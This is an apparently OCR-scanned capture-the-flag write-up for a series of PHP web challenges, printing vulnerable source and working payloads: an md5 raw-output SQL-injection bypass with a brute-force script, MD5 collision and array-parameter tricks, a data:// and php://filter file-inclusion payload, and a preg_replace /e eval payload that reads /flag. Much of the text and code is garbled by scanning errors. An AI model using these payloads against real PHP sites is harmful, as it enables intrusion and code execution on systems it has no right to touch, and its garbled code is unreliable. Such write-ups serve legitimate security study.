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Response

HTTP/1.1 200 OK
Semer: openresty
Date: Mon, 30 Mar 2020 01:09:04 GMT
Content-Type: text/html; charset=UTF-8

Hint: select * from ‘admin’ where password=mdS($pass true)
X-Powered-By: PHP
Content-Length: 3107

<IDOCTYPE himi>

Hint: select * from 'admin' where password=md5($pass,true)
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select * from “admin® where password=''or'balabala'
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<?php
for (31 = @;5;) {
for ($c = 0; $c < 1000000; $c++, $i++)

if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
?>
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select * from “admin® where password=''or'6<trash>’ ---> True
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$a = $GET["a’];
$b = $ GET['bJ;

if ($a != $b & md5($a) == md5($h)) {
// wow, glzjin wants a girl friend.
-

payload:

http://96c67b57-df3d-41a2-bc76-836c71cdal9b.node3.buuoj.cn/levels9l.php?a=s878926199a&b=QNKCDZ0
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error_reporting\uvj ;
include “flag.php”;

highlight_file(__FILE_);

if($_POST[ paraml’ ]!==$ POST[ param?’ ]&&md5($ POST[ paraml’ ])===md5($_POST[ param?’ 1)) {
echo $flag;
}

payload:

POST: paraml[]=1&param2[]=2

CTFHi 4 Seid & %4
> md5(array()) = null
> shal(array()) = null
> ereg(pattern,array()) = null vs preg_match(pattern,array) = false
> strcmp(array(), "abc") = null
> strpos(array(),"abc") = null
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(@ Load URL http://96c67b57-df3d-41a2-bc76-836¢71cda19b.node3.buuoj.cn/levell14.php

1§ spiit URL

») Execute
Postdata [] Referer [] User Agent [ ] Cookies Clear All

param1[]=1&param2[]=2
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<?php
error_reporting(0) ;
Stext = $_GET["text”];
$file = $ GET["file”];
if (isset ($text)&& (file_get_contents($text, r’)==="1 have a dream”)) {
echo “<br><h1>”.file_get_contents ($text,’ r’ ). </h1></br>”
if (preg_match(”/flag/”, $file)) {
die("Not now!”);
}

include ($file) ; next. php

else{
highlight_file(__FILE_);
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B I have a dream base64Ziy SSBoYXZIGEgZHJIYWO= 1 Fi PHP{h Sk G2 it
file_get contents==="| have a dream" T & MEF A & Nnext.PHP

B J5 #it payload:

?text=data://text/plain;base64,SSBoYXZ1IGEgZHI1YWO=&file=php://filter/read=convert.base64-
encode/resource=next.php
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foreach($_GET as Sre => Sstr) {
echo complex(Sre, Sstr). "\n";

}

function getFlag({
@evalis_GET[cmd]),

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
/(' . $re . ')/ei’,
'strtolower("\\1")"',
$str
)

foreach($_GET as $re => $str) {

echo complex($re, $str). "\n";

function getFlag(){
@eval($_GET['cmd']);
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payload:



/next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);
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flag{8a165258-8bh6f—-41ad-af0d-67abe2ee5296}
show source("/flag");
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